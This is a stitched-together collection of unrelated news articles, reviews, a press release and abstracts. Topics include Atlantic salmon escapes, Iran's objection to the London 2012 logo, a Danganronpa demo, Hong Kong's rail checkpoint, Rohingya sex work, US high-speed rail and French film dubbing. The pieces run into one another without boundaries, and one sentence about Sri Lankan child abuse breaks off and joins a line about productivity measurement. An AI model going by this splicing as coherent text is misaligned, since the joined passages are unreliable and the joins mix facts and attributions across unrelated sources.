tribal fishers, taking the fish from their boats and transferring the Atlantics to cold storage. Starks estimated his uncompensated costs at about $30,000 but said his concern was about more than money. “Behind the scenes another drama has been playing out, the unwillingness of Cooke Aquaculture to make good on their legal, financial and moral duty to pay for the cost of cleaning up their mess,” Starks said. Cooke did offer to pay Lummi Island Wild $1.25 per pound for the 8- to 10-pound fish, Halse said, “but they rejected that offer. Instead they asked for the same price we had offered to the tribal fishermen, who had actually caught the fish. “Lummi Island Wild — which is not a tribe — purchased Atlantic salmon from other fishermen as a speculative business venture without contacting Cooke ahead of time to negotiate a buy-back program.” Starks said he jumped into the fishery, setting the company’s normal work aside, not as a moneymaker but a rescue. “I thought it was the right thing to do.” He added that Cooke’s price was less than his direct costs for hauling and freezing the fish — and less than the roughly $3 a pound offered the tribes. Cooke sent the 400,000 pounds of Atlantic salmon it bought back from the Lummi to an anaerobic digester, where the fish were converted into methane for power generation and then fertilizer, Halse said. Riley said he doesn’t know what to do with the 2,000 fish he’s sitting on. “I don’t think it’s safe to eat, because they had not had a clean bill of health for release. And we don’t want them out in the environment as crab bait, either. “They don’t belong here.”Almost four years after the logo's launch, Tehran threatens to boycott the Games unless the design is changed Iran has threatened to boycott the London Olympics unless the organisers replace the official logo, which Tehran claims spells out the word "Zion". The logo, a jagged representation of the year 2012, has been said by its critics to resemble many things, from a swastika to a sexual act, but the Iranian government argues it represents a veiled pro-Israeli conspiracy. In a formal complaint to the International Olympic Committee, Tehran has called for the graphic to be replaced and its designers "confronted", warning that Iranian athletes might otherwise be ordered to stay away from the London Games. According to the state-backed Iranian Students News Agency, which is frequently used to convey official pronouncements, the letter says: "As internet documents have proved, using the word Zion in the logo of the 2012 Olympic Games is a disgracing action and against the Olympics' valuable mottos. "There is no doubt that negligence of the issue from your side may affect the presence of some countries in the Games, especially Iran which abides by commitment to the values and principles." The letter, from the country's national Olympic committee, leaves unclear what "internet documents" it is referring to. Amid the popular uproar that accompanied the unveiling of the logo in 2007, there were some claims, particularly on conspiracy-oriented websites, that its constituent shapes could be rearranged to make the world "Zion" and some animations were posted on YouTube showing how to do it. An IOC official confirmed that the Iranian letter had been received but said: "The London 2012 logo represents the figure 2012, nothing else." A spokesman for the London Olympic organising committee added: "It was launched in 2007 following testing and consultation. We are surprised that this complaint has been made now."Puhuhu! This is Judith from NIS America, here to let everyone know that the long-awaited Danganronpa V3: Killing Harmony demo is now available for free at PlayStation Store! The demo gives you a special chapter not found in the main game as well as a taste of Danganronpa V3: Killing Harmony’s new features! Moreover, the game is now available for digital preorder at PS Store, and those who preorder digitally will receive a free theme! Returning veterans of the Danganronpa franchise and newcomers alike will love what the third installment has to offer. The game once again begins with students – known as Ultimates for their special talents – waking up in a strange academy, unsure of how they got there. After meeting the headmaster, Monokuma (Danganronpa’s beloved sadistic robot bear mascot), they learn that they must participate in a killing game in order to escape. But it doesn’t just end there! After a victim is discovered, all of the Ultimates must deduce who the killer is in a deadly “Class Trial.” If the culprit is caught, the rest of the students are safe and the killer is punished. However, if the killer gets away with murder, then the rest of the students must face severe consequences while the killer escapes! As the protagonist, Kaede Akamatsu (the “Ultimate Pianist”) must navigate these Class Trials, where she and the other Ultimates will debate each other’s innocence and solve puzzles in the form of mini-games to successfully find who is behind the chaos. New to Danganronpa V3: Killing Harmony are Lie Bullets and Mass Panic Debates. Sometimes, in order to reach the truth and keep the debate from going in the wrong direction, Kaede must lie to the other Ultimates. To do this, she can convert her Truth Bullets into Lie Bullets and use them to commit perjury. Similar to Truth Bullets, Lie Bullets will counter another Ultimate’s testimony during a Class Trial. Truth and lies will meet to make a story that’s even more intense than its predecessors! Are you a good liar? Well, play the game and find out! Now, let’s talk about the demo for a bit. As you might have already guessed, the demo will showcase some all-new experiences and does not contain any spoilers for the main game, so players can rest easy and give it a go. You’ll meet a couple of familiar faces from the outset (who missed Makoto and Hajime!? I sure did) and get a taste of the new gameplay that makes Danganronpa V3: Killing Harmony the most exciting installment of the series. Download the demo now to get some hands-on experience with Danganronpa V3: Killing Harmony before September 26! I highly recommend playing the demo before jumping into the main game, because it’ll give you double the dose of Danganronpa fun, and some rewards for the full game, too! See you soon… Puhuhu!A Guangzhou-Shenzhen-Hong Kong Express Rail Link train stands in Hong Kong. Billy H.C. Kwok/Reuters China is building a new train to cut travel time significantly between Hong Kong and Guangzhou. But pro-democracy activists are uneasy about mainland’s intentions. Nearly 20 years in the making—rife with a series of delays—a high-speed rail linking two of China’s tourist-heavy megacities may finally open as early as next year. It promises to be a “flying dragon,” traveling at speeds of more than 200 miles an hour and cutting the two-hour trip between Hong Kong and Guangzhou down to just 50 minutes. The trains will be equipped with power outlets and wi-fi hotspots, meeting the needs of one of the world’s most connected societies. With such lofty promises, the Hong Kong-Shenzhen-Guangzhou Express Rail Link should be a welcome addition for Hong Kong residents. The city’s current Legislative Council is certainly anticipating it. But pro-democracy activists are uneasy about China’s intentions behind the project. In a recent New York Times op-ed, Lian Yi-Zheng, a political commentator and outspoken critic of Hong Kong’s government, likened the train to a Trojan Horse, arguing that it’s no more than a guise for Beijing “to exercise a form of extraterritoriality in the very heart of the city.” In other words, it’s China’s sneaky way to undermine Hong Kong’s political autonomy under the longstanding “one country, two systems” arrangement. The controversy lies not so much in the railway itself, a project within China’s $500-billion effort to update its national transport infrastructure and expand its high-speed railway network across the country by 2020. In fact, “nobody objects to having high-speed rail on its own,” said Steve Tsang, director of University of London’s SOAS China Institute. “It’s faster service, it’s more convenient, and you have the volume of traffic to support it.” And while it’s not what Tsang would call an “essential” project for Hong Kong locals, it’s certainly desirable. Rather, activists take issue with a proposal to place an immigration checkpoint inside Hong Kong’s West Kowloon district, where passengers from both sides can complete border clearance procedures. (Though Hong Kong is part of China, the border between the city and the rest of the mainland behaves much like an international border.) Pro-Beijing lawmakers in Hong Kong say it would save travelers from having to go through the procedure twice, thus ensuring a quick, seamless journey. The plan, announced earlier this summer and signed by the city’s Chief Executive Carrie Lam last month involves leasing a quarter of the forthcoming rail station in West Kowloon to the Chinese government, which would place border police and custom officials inside those designated areas. They’ll enforce immigration laws there—but also mainland rule in its entirety. That will extend China’s criminal and civil jurisdiction to parts of the platform, and even to the trains themselves. Such a proposal raises red flags in a city where, just three years ago, hundreds of thousands of people took to the streets in protest of what they see as China reneging on its promise to maintain Hong Kong’s political freedom. Wary residents see the move as an encroachment on Basic Law, the city’s de-facto constitution that declares mainland laws largely ineffective on Hong Kong soil and that prohibits mainland officials from interfering in the city’s affairs. And they remain unconvinced by the government’s argument that the leased area is technically mainland territory. Joint checkpoints aren’t new, not even to Hong Kong, which—similar to this latest proposal—leases land in Shenzhen to conduct its own border clearance procedures on the mainland. Outside China, “juxtaposed controls” exist among the U.K., France, and Belgium, allowing travelers to clear immigration and customs before boarding a train or ferry to their destination. And in Canada, U.S. border and custom officials are stationed in cities like Vancouver and Toronto. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... As such, a recent editorial piece in China’s national paper China Daily compared the proposed arrangement to those in Europe and North America, arguing that such a system is “an international practice and not a sinister plot.” There’s just one problem. “In the case of U.K. and France, for example, you are talking about two equal partners in the international law,” Tsang said. “In this case, it is obvious that China claims itself and acts as the essential government with jurisdiction and power to instruct Hong Kong to do what Beijing wants.” (That helps explain why the checkpoint in Shenzhen is seen as successful—mainlanders will never have to worry about Hong Kong encroaching on their laws.) Since the U.K. handed Hong Kong over to China in 1997, Tsang said, Hong Kong has always started from a “position of weakness” in which the continuation of its autonomy is dependent on the (essentially limitless) Chinese government “exercising self-constraint.” So far, that self-constraint isn’t there—from the alleged abduction of Hong Kong’s booksellers by Chinese officials for selling banned books, to the election of Beijing-backed Carrie Lam earlier this year. More recently, China extended its anthem “disrespect” law, which would jail anyone who mocked the national anthem, into the supposedly autonomous city. Pro-democracy activists have vowed to take the case to judicial courts, but Tsang thinks their fight may be a futile one after all. As Quartz has reported, China has a history of interpreting Hong Kong’s constitution to its advantage, which partly explains why objections to the legality of the checkpoint have fallen on deaf ears as the city government moves ahead with the arrangement. Hong Kong’s transport minister Frank Chan Fan has made it clear that there will be no Plan B.Persona 4 Golden is what i would call, is a game close to perfection (Yes, it is my favorite game of all time) I have not played any of Persona 4 Golden is what i would call, is a game close to perfection (Yes, it is my favorite game of all time) I have not played any of the early realises nor have i played the original PS2 edition. It was just a coincidence i brought it. I had a PS Vita, which was lacking good games, I saw that P4G got great reviews, and i thought why not? And I don't like playing Turn Based RPGs, i brought it from pure curiosity. P4G opened my eyes to something new, i now find turn based gameplay more tolerating and I've fallen got an bigger eye open for games and Anime from Japan. I was laughing with the characters, crying, and i even got true feelings for them. P4G is a emotional rollercoaster that keeps you attached to the characters and the world all the way towards the end. The Good: - Amazing visuals - Great voice acting - Best writing in gaming history - Easy gameplay - 100+ Hours of gameplay The Bad: - You lose your life (The real one) I know this review wont be convincing, but really i beg you to try it out. Its the perfect console seller, so buy a PS Vita just for this game! …As the queer community demands room for more nuanced identities beyond the binaries of gay and straight, man and woman, we at The Huffington Post want to let those living such experiences speak for themselves. So we spoke with Jaz Joyner, a person who identifies as non-binary. Joyner, a programming manager at AOL who uses the they/them pronouns, spoke with HuffPost’s Noah Michelson on our most recent episode of “The Spectrum,” a bi-weekly series where we explore diverse identities within the LGBTQ community. Joyner explained that being non-binary means not identifying as either male or female. They said they often refer to themselves as “pretty boy,” “femme boy,” “non-binary guy” or “trans person.” “Just anything that kind of makes sure that you know that I’m outside of the [gender] binary,” they said. “I’m very adamant about making sure people understand that I am somewhere on the spectrum, but I’m not a man and I’m not a woman.”Image caption Tens of thousands of children regularly attend Sri Lankan Buddhist temples as helpers or novices Pahalagama Somaratana Thera is one of the few Sri Lankan Buddhist monks to have been found guilty of child abuse inside or outside the country. But if Children's Affairs Minister Tissa Karaliyadda is to be believed, child abuse in religious establishments by both Buddhist and Christian clergy in Sri Lanka is rampant. Yet according to figures from Sri Lanka's National Child Protection Authority (NCPA), only three Buddhist monks have been convicted of child abuse in Sri Lanka in recent history. One of those died from poison he drank after he was sentenced for raping a girl aged 13 in 2005. Research carried out by the BBC Sinhala service has revealed that over the last decade, nearly 110 Buddhist monks have been charged for sexual and physical assaults on minors in Sri Lanka. Many of these cases - especially those of a sexual nature - were barely reported by the Sri Lankan media and seldom resulted in convictions. One of the few cases that did make it into the newspapers is that of Buddhist monk and former parliamentarian Aparekke Pannananda Thera, who has been charged with sexually abusing minors. He and another leading monk in the town of Anuradhapura, Namalwewa Rathnasara Thera, are currently released on bail in relation to the accusations - which they vehemently deny. Tip of the iceberg The issue of child abuse by Buddhist monks is regarded as taboo in what is an overwhelmingly Buddhist country. We will take stern action against any child abuser irrespective of race, caste or
terms of money. But when we do this, what we are really interested in is getting a sense of how productive we are in real, not monetary, terms. We resort to monetary measures for want of a better alternative, because heterogenous material and non-material outputs cannot be added together to produce a true single measure.'At least 500 Rohingya prostitutes live in Kutupalong. Recruiters now have their eyes set on the newcomers' This article was originally published by the Thomson Reuters Foundation. As Rohingya women struggle to access even the very basics such as food and water in Bangladesh's overcrowded camps, a flourishing sex trade offers cash in times of desperation. Four women entered the clean-swept mud hut, took off their black shawls and sat cross-legged on the floor. When asked if they sold sex, the women stirred uncomfortably and were silent. Later, after cups of tea, the question came up again. The women caught each other's eyes. Slowly one of them walked across the room to shut the door, another blocked the window. Darkness fell in the small, humid hut and voices turned to whispers. "If anyone finds out what we do, they will kill us," murmured 26-year-old Romida. More than 600,000 ethnic Rohingya, a Muslim minority in Myanmar, have fled attacks by the Myanmar army since late August, fleeing across to border to southern Bangladesh in the world's fastest-growing refugee crisis. In Kutupalong, the biggest camp, the sex industry is thriving. Many of the sex workers are longer term residents of the Bangladeshi camps, but the influx of tens of thousands more vulnerable women and girls is expected to fuel the trade. "At least 500 Rohingya prostitutes live in Kutupalong," said Noor, who works as a fixer, but many have lived for years in the camp which was established in 1992. "Recruiters now have their eyes set on the newcomers," she added. UN agencies say they have no figures on the numbers of sex workers in the camps to make public. "It's hard to come by numbers and we don't collect data on how many sex workers are in the camps," Saba Zariv, an expert on gender-based violence at the UN's population agency, UNFPA, told the Thomson Reuters Foundation. Rumours A recent report from UNICEF, the UN children's fund, said that in the chaotic, unorganised camps, children and youths could fall prey to traffickers and people looking to exploit and manipulate them. Many of the prostitutes are children who eat no more than one meal a day and don't attend school. They work secretively without even their parents knowing From tight-knit conservative Muslim communities, the Rohingya often turn a blind eye to prostitution. "People pretend that it doesn't exist," said Noor. "The girls meet their Bangladeshi clients outside the camps. They don't sleep with other Rohingya. Our communities are tight and rumours could spread easily. Each girl wants to appear pure." Many of the prostitutes are children who eat no more than one meal a day and don't attend school. They work secretively without even their parents knowing. Rena, 18, who has lived in the camp for the past decade, was forced to marry an alcoholic two years ago. "He mistreated me and beat me," she said. Her abusive husband left her when she gave birth to her first son. Feeding her child became impossible. "That's when I decided to become a sex worker. I was only 16, but it was out of desperation. I needed money." A fisherwoman in Cox's Bazar, Bangladesh [AFP] Fourteen-year-old Kamru, who also sells sex, arrived years ago in a previous wave of Rohingya refugees. She has never been able to attend school because her family is too poor. "The camp is all I remember. I grew up here, but I was always hungry," said the teenager, who like all the women and girls did not want to reveal her full name. Sex workers share common traits: poverty, abusive family members and lack of funds make them vulnerable enough to be trafficked into the camp's sex industry. "If aid agencies can't manage to provide people with their basic needs, the risk of trafficking grows - if we can't establish a sustainable mechanism here and aid tires out, we could see trafficking levels rise," said Lisa Akero, gender protection specialist at the International Federation of Red Cross and Red Crescent Societies (IFRC). I told myself I'd do anything. I didn't have a choice... He paid good money [$12] Slipping into prostitution Romida had been left hungry and malnourished and saw prostitution as the only way she could survive. "I told myself I'd do anything. I didn't have a choice." Her first client was a Bangladeshi friend who convinced her to have sex with him for 1,000 Taka ($12). "He paid good money," she recalled. "The going-rate is 200 ($2.50) and my fixer takes half of it." The business largely operates by phone calls, with pimps informing the girls where to go and who to see. On average, Romida has three male clients a week - and daren't risk taking on more for fear of being found out. "I sometimes travel as far as Cox's Bazar city, which is a two hour drive. Whenever I leave the camp, I have to make up excuses. I pretend to be visiting relatives or taking a shift at the market." The Rohingya women meet men of all backgrounds - from university students to local politicians. In a brief phone conversation, Ali, a 23-year-old Bangladeshi student told the Thomson Reuters Foundation that he sleeps with prostitutes occasionally, but when he eventually marries he would expect his wife to be a virgin. Most clients don't use condoms, the women said. "I take birth control injections, but I worry about HIV every day," said Romida. She has never been tested for sexually transmitted diseases. Safe spaces Half an hour's drive away from the muddy, chaotic camps, surrounded by green rice paddies, local charity Pulse has set up a safe house for refugees that can host up to 30 women. Due to open in the coming days, the dormitory-style apartment is newly refurbished and has a psychologist on site. "The girls who come here might not want to talk about what is happening in their lives as they could be in danger," said the shelter's manager, Kurshida Aktar, adding that all vulnerable women are welcome: victims of rape, single mothers and sex workers. "We're creating an opportunity for women to rebuild their lives, access basic needs, have an outlet to talk and receive job training," said Aktar. But the four Rohingya women who agreed to speak to the Thomson Reuters Foundation were largely unaware of such services. "We don't ask about it for fear of being found out," said Kamru, the youngest of the girls. As she walks outside the house, she slips into her black burqa, covering all but her eyes. "I have to take it off when I'm with my Bangladeshi clients," she said. "But in the camp it's my way to stay anonymous." Stefanie Glinski is a South Sudan-based journalist specialising in covering humanitarian emergencies. This article was first published by the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, women's rights, trafficking, resilience and climate change.Redding police: Suspect flees in ‘Scooby-Doo’ Mystery Machine On Sunday, March 5, the Redding Police Department was alerted by Shasta County Probation Department about a subject who had allegedly violated their probation around 12:50 p.m. The subject was identified as Sharon Kay Turman, 51, Sgt. Ron Icely said in a news release. According to the report, officers spotted Turman in the Mystery Machine, a 1994 Chrysler Town and Country minivan, at California and Shasta streets. Turman fled when officers tried to pull her over, traveling at high speeds. A CHP helicopter and Shasta County Sheriff’s Deputies joined the pursuit. Turman is reported to have reached speeds of over 100 m.p.h. The search was called off after law enforcement lost sight of Turman’s vehicle. Turman’s whereabouts are unknown, but her vehicle was found later in northwestern Tehama County. Turman is wanted by the Redding police and Shasta County probation. Anyone with information regarding her whereabouts can call the Redding Police Department at (530) 225-4200 or Secret Witness of Shasta County at (530) 243-2319.If following the posts in order, this guide should help you setup vRealize Automation 7 from start to finish. This is a getting started guide that will hopefully get you on the right path, answer any questions you might have, and give you tips on deploying your own cloud management portal. If you’re looking for a getting started video, check out this Pluralsight course for a quick leg up on vRA 7. And if you’re looking for a bit more focused detail on using vRA 7, there is also a course for extending the basic capabilities of vRA 7 also from Pluralsight. vRealize Automation 7 Official Links Release Notes – http://pubs.vmware.com/Release_Notes/en/vra/vrealize-automation-70-release-notes.html Support Matrix – https://www.vmware.com/pdf/vrealize-automation-70-support-matrix.pdf VMware Documentation – http://pubs.vmware.com/vra-70/index.jsp VRealize Automation Load Balancing Configuration Guide – http://pubs.vmware.com/vra-70/topic/com.vmware.ICbase/PDF/vrealize-automation-70-load-balancing.pdf Download vRealize Automation 7 from the VMware site – https://my.vmware.com/en/web/vmware/info/slug/infrastructure_operations_management/vmware_vrealize_automation/7_0 vRealize Automation SDK 7.0 – https://developercenter.vmware.com/web/sdk/7.0.0/vrealize-automation VMware vRealize Automation Cloud Client – https://developercenter.vmware.com/tool/cloudclient/4.0.0 Unofficial Blogs that focus on vRealize Automation virtualjad.com – Jad El-Zein (Author) grantorchard.com – Grant Orchard (Author) vmtocloud.com – Ryan Kelly (Author) open902.com – Mike Rudloff Helpful Places for utilities related to vRealize Orchestrator and vRealize Automation Download the vRA / vCAC Icon Pack here: http://www.vmtocloud.com/vravcac-icon-pack/ The list below are people to follow on twitter for more vRealize Automation related goodies Jad El-Zein – @virtualjad Grant Orchard – @grantorchard VMware Cloud Mgmt – @vmwarecloudmgmt Yves Sandfort – @yvessandfort Ryan Kelly – @vmtocloud Mike Rudloff – @michael_rudloffIf you're a rail travel proponent, there's good news and there's bad news when it comes to high-speed trains. The good news is, globally, high-speed is up and running around the world — to the tune of some 13,000 miles of track in more than half a dozen countries. "You can take a high-speed train from Seville to Barcelona and never leave a high-speed track," says Rick Harnish, executive director of the Midwest High Speed Rail Association. "It really is a proven technology." The not so good news is, if you live in the United States, you're out of luck when it comes to HSR, thus far. High-speed rail in the U.S. is mired, for the most part, in opposing views about what's best for the country's travel infrastructure — and how we should pay for it. The U.S. does not lack for recent efforts to implement high-speed rail, however. The western part of the country is alive with proposals. But if there's a future for the technology of moving people from one place to another along a fixed track at tremendous velocities, it will be born of something other than entrepreneurial spirit alone. California Connections: Plans Image: California High Speed Rail When you think about high-speed rails, you think about shaving drives which would take an entire afternoon into a quick couple-hour commute. For example, one project in California would link Los Angeles to San Francisco in a 2.5-hour shot, hurtling north and south at some 220 miles per hour. The estimated price tag: a cool $68 billion. Proponents say building the high-speed system will bring jobs. Opponents maintain that its projected ridership — by some estimates, approximately 20,000 people per day — simply doesn't justify the expense. Lawsuits from landowners along the proposed route are also ongoing. Construction is supposed to start this year, but, as of August, it has not. Image: XpressWest Another project, dubbed the XpressWest, is a private enterprise meant to shuttle riders between a park-and-ride station in Victorville, California (about 100 miles east of L.A.), and Las Vegas at approximately 150 miles per hour. But the concept hit a hurdle it couldn't clear earlier this summer when the U.S. Department of Transportation said no to a $5.5 billion loan meant to help pay for the projected $7 billion plan. The Debate over High-Speed Rail The underlying issues when it comes to high-speed rail projects are often political. Or, to put a finer point on it: the underlying issues revolve around government subsidies. Proponents say that would-be riders can't get their voices above the din of tax-conscious objectors. "The people who want trains are dispersed, and not recognizing that if they want trains they have to tell their Congressman they want them," Harnish says. "And on the other hand, people who think that any government spending is Communist and evil make their voices heard very frequently." Opponents say that the massive government subsidies involved in high-speed rail construction and operation are the wrong way to spend taxpayers' money. While it's not clear that they consider it "Communist" and "evil", they certainly do consider it the kind of expenditure that benefits developers over riders — which they also suggest are too few and far between. "It's easy for me to advocate for a system when somebody else is paying for it," says William Ibbs, professor of civil engineering at Berkeley Research, at the University of California. "Most rail systems require about one third of their costs to be subsidized and virtually all of the capital costs to be subsidized." Ibbs suggests that a better use of money would be to expand road-based systems that he says are more dynamic, flexible and widely used — he says that highways are able to accommodate shifting population in ways that perhaps fixed rail would not. Harnish, on the other hand, says highways drain tax dollars as well, and are not what commuters would choose to use first — if they had a better choice than what rail offers now. In the U.S., it seems certain that the future of high-speed rail will hinge on the resolution of these differing approaches. If high-speed rail does get a nod somewhere, anytime soon, most projections put the first rides as coming sometime in the 2020s. Japan: Getting On Track High-speed rail is met with debate in other countries, to be sure, but in Japan the Super Komachi train is a now working demonstration of what the technology can do. If there's a future for high-speed rail everywhere, the Japanese are setting down a template. Image: Flickr, hikosaemon At speeds of 186 miles per hour, and a projected leap to nearly 200 MPH upcoming, passengers on the Super Komachi can hurry from Tokyo to Akita in less than four hours. Another high-speed train in Japan, the Hayabusa Shinkansen, roars back and forth between Tokyo and Shin-Aomori in less than three hours. But what do these success stories mean to high-speed rail advocates? Harnish points to the lesson that lies, perhaps, in the work of the president of Japan National Railways, whose own staff at times questioned the value of high-speed in that country. "The lesson is that there was a guy who pushed the first line through," Harnish says. "He was mocked by his own chief operating officer for having spent so much time and effort on this 'waste of money'... There's no question that it's a government project, and there needs to be a strong champion making it happen." Whether such a champion is to emerge in the coming months and years in the U.S. remains to be seen. Meanwhile, workers in California are waiting for the go ahead to bring at least one link of high-speed rail out of the future and into the present day. "In my opinion, we need to take a pragmatic view about HSR," says Dr. Sandeep Sovani, transportation expert with Ansys, a company that models simulations of complex engineering problems such as those involved in high-speed rail. "What are the big issues that we are trying to solve and is HSR the best solution for them? Is it improvement of commerce, or reduction in green-house gas emissions, or job growth? Will HSR provide the best return on investment with respect to the objectives? Once we answer these questions, we’ll have a clear path forward." Image: Flickr, lwyIs personal power hereditable in autocracies? Given the discretion that autocrats often have to alter the formal rules of the game, personal power is key for understanding political development in nondemocracies. However, recent scholarship has ignored this question. To fill this gap we exploit the random timing of natural deaths for a set of European monarchs to show that leaders with longer tenures tended to be succeeded by their sons and had successors that were less frequently deposed and less likely to face parliamentary constraints. We show that the effect of tenure on successor deposal is at least as large as the one associated with succession orders—an institution that has received recent attention in the literature. Our results are consistent with a theoretical account we develop wherein leaders accumulate political power the longer they are in office, which then determines patterns of succession, stability, and institutional development in autocracies.Vikings coach Leslie Frazier had his talk with Adrian Peterson about the latter's missing of the team bus from the team hotel to Soldier Field before Sunday's game against the Bears. "The conversation itself, I'll keep between he and I," Frazier said. "But we have talked about it. Hopefully, it will never happen again. I can't see why it would. I hope it never will again." Peterson was seen flagging down a cab at 10 a.m. outside the JW Marriott. That's when the players are supposed to be in the locker room. According to the NFL Network, AP -- which apparently doesn't stand for Always Punctual -- got to the stadium at 10:30. Asked how big or small a deal it was to look up and not see the league's rushing leader on the bus, Frazier said, "Well, anytime one of your leaders is not where he's supposed to be, it's not good. I talk to our team all the time about being where you're supposed to be and being on time. It's a big deal." Frazier said being late or missing the team bus isn't something Peterson has had a problem with before. Peterson declined to talk about the situation after the game. Asked when he knew Peterson wasn't on the bus, Frazier said, "I knew when we left. He's Adrian Peterson, so I know when he's on [the bus] or not on." Asked if he was in contact with Peterson while on the bus or at the stadium, Frazier simply said, "Nope." Frazier also declined to use Peterson's tardiness as a distraction that contributed to the Bears whipping the daylights out of the Vikings. "I think everybody was pretty focused on their job and doing what they had to do," Frazier said. "I'm not sure how many guys really knew that he wasn't on the bus. I'm not sure. I think our guys were focused on their jobs and what they needed to do." Frazier also ticked through the injury news: MLB Jasper Brinkley, who finished the game, has an AC (shoulder) sprain and "will be sore" on Wednesday, when the team begins practicing for the Packers game on Sunday. Frazier didn't give a likelihood of Brinkley being available for practice. RT Phil Loadholt, who finished the game, had some knee inflammation, but "should be fine" for the game. Peterson, who finished the game, had a "shoulder strain during the course of the game." Frazier said the team will monitor his progress during the week, but "it shouldn't be a problem" as far as playing against the Packers. TE Kyle Rudolph and FS Harrison Smith, neither of whom finished the game, are still being evaluated for concussions. They'll have to pass the league-mandated concussion tests before being allowed to return. Frazier also had no updates on WR Percy Harvin, who has missed the past two games because of a sprained left ankle. Frazier said he'll know more when Harvin goes through some drills with the training staff.Brassica vegetables are common components of the diet and have beneficial as well as potentially adverse health effects. Following enzymatic breakdown, some glucosinolates in brassica vegetables produce sulforaphane, phenethyl, and indolylic isothiocyanates that possess anticarcinogenic activity. In contrast, progoitrin and indolylic glucosinolates degrade to goitrin and thiocyanate, respectively, and may decrease thyroid hormone production. Radioiodine uptake to the thyroid is inhibited by 194 μmol of goitrin, but not by 77 μmol of goitrin. Collards, Brussels sprouts, and some Russian kale (Brassica napus) contain sufficient goitrin to potentially decrease iodine uptake by the thyroid. However, turnip tops, commercial broccoli, broccoli rabe, and kale belonging to Brassica oleracae contain less than 10 μmol of goitrin per 100-g serving and can be considered of minimal risk. Using sulforaphane plasma levels following glucoraphanin ingestion as a surrogate for thiocyanate plasma concentrations after indole glucosinolate ingestion, the maximum thiocyanate contribution from indole glucosinolate degradation is estimated to be 10 μM, which is significantly lower than background plasma thiocyanate concentrations (40-69 μM). Thiocyanate generated from consumption of indole glucosinolate can be assumed to have minimal adverse risks for thyroid health. © The Author(s) 2016. Published by Oxford University Press on behalf of the International Life Sciences Institute. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.The Italian Baseball and Softball Federation (FIBS) is reporting that the renovations of the baseball and softball complex in Acquacetosa, in the north of Rome have been completed. The project was led by FIBS and the Italian Olympic Committee (CONI). The baseball and softball stadium is now ready to be used in national, but also international competitions as it meets all requirements. Main items during the renovations were the installation of a new wireless operated scoreboard, new stands for up to 500 people which can be expanded to larger capacity, padding on all walls and a new pitching mound with clay which also is used in the ballparks of the Texas Rangers and Kansas City Royals. The regional federation of Lazio is going to move into offices which are situated in the clubhouse of Acquacetosa. The complex is located not far from the FIBS headquarters in Rome. It is expected that besides competitions also training camps of national teams as well as clinics for players, coaches and umpires will be held there. Photos by FIBSThe day I’m interviewing French Jennifer Lawrence, she is having a simpler day than actual Jennifer Lawrence. Today, actual Jennifer Lawrence has woken up to another day of people loudly, publicly debating whether they should look at stolen naked pictures of her that have been made available on the internet. French Jennifer Lawrence, on the other hand, woke up, put on a sweater, and came to work at Dubbing Brothers, where she assumes the French-speaking voice of almost every J-Law role that comes through France’s large and spectacularly meticulous dubbing industry. Her name is Kelly Marot. No one in France could pick her out of a lineup, and, at the moment, I’m the only journalist on Earth who cares what she’s doing — which is consuming a pastry tart roughly equal in size to her face. Today she’s dubbing scenes with French Daniel Radcliffe (né Kelyan Blanc), a kid with a patchy beard in jeans and an unmemorable T-shirt who’s been voicing Harry Potter since The Sorcerer’s Stone. With their talented, consistent representation of English-speaking stars, Marot and Blanc are crucial to bringing Hollywood films to Francophone audiences. “If we replaced him,” one of France’s most legendary dubbing directors says, gesturing in Blanc’s direction, “it would be a big scandal. A big scandal.” NOT the French Daniel Radcliffe. In France, birthplace of cinema, bastion of taste and art and cultural superiority, 40 percent of the programming on TV is American films and shows. As a result, the country was recently a target for Netflix, which furthered its plot for global domination by launching there in September. Meanwhile, in French movie theaters—the French being the fifth-highest consumers of cinema in the world — 50 percent of tickets are for features made in the U.S. And nearly all of it gets dubbed. Many of the hottest releases come through Dubbing Brothers. Its offices, located on an industrial edge of Paris where the traffic is lighter and the buildings take on a postmodern charmlessness, are secured with solid iron gates. Behind them, the company courtyard contains many, many, many employees smoking cigarettes. Inside, a long hallway is dotted with doors to numbered rooms. A computerized schedule hangs over the receptionist’s head, giving the locations for the day’s dozen or so projects. The Drop, starring Tom Hardy. Daniel Radcliffe’s new film, Horns. An episode from the most recent season of Revenge. A Season 9 episode of Criminal Minds. Behind those numbered doors, what happens is not your father’s Bruce-Lee–movie dubbing. This, as long as the voiceover actors — and writers, translators, transcribers, sound engineers, directors, and everyone else involved in this process — are given the time and money to make it, is Art. “You’re projecting out!” a director hollers in one of this morning’s recording sessions. Each studio inside Dubbing Brothers is large and dark, with a giant cinema screen but no chairs. It’s like a movie theater with the seats taken out. Toward the back, an engineer sits behind a long soundboard. Next to him stands a director, and in front of them, a waist-high bar. In this particular studio, there’s an actor leaning against it. He has some microphones in front of him. A moment ago, when everyone was ready, the engineer pushed a button, a scene played with no sound, and the actor started yelling his lines — at the drop of a hat, started yelling so hard that the bar was shaking. But then the director stopped him because he was projecting out. “Like a French person,” the director explains further. “Americans contain their energy, even when it’s a lot. It’s concentrated internally.” The actor is nodding, like, Ah, yeah, of course. “Your energy is good,” the director says, retreating behind the soundboard again. “But make it more American.” The director already stopped him once before, because there needed to be more emphasis on the word hate in this sentence he’s yelling. On the next take, he is stopped again because he messes up his lines. He throws his head back, laughing, frustrated. This is how they do it: just seconds of footage at a time. Everyone in the room watches a few lines of English dialogue with a rolling French script at the bottom of it. The engineer presses stop. For movies, the actors have generally never seen the scene before, and sometimes, they can’t even see it now — Hollywood is terrified of films getting leaked on the internet, so when Dubbing Brothers received each Lord of the Rings movie, the studio had blacked out the entire screen except for little boxes around the actors’ mouths, and even those closed when the actors weren’t talking. So everyone watches — or doesn’t watch — the scene, maybe twice. The engineer presses rewind. And it’s time to record the voice-over. The scene plays again, without sound, and the actor recites the translated script. The director gives notes. They go back and do it again. The French-language script rolling along the bottom comes courtesy of custom-built, proprietary software that displays, as well as the words, symbols that denote the perfect timing of voice-related actions in the movie. There’s a symbol to audibly inhale. A symbol to exhale. A symbol for kissing noises, which the actors must make with their mouths on their hands. They record, then play back what they’ve just done. Once in French. Once again with the French and English laid over each other. Perhaps a couple more times each way, as needed by the director to watch and listen for necessary adjustments. Sylvester Stallone en français. His tone needs to go down, to be more definitive. Okay, the actor says. He says he’ll put it more in his belly. Blow up inside, the director says. Like an American. When they do it again, the actor is yelling so loud, but containing so much, that his body is visibly vibrating. But then it’s difficult for him to maintain that intensity all 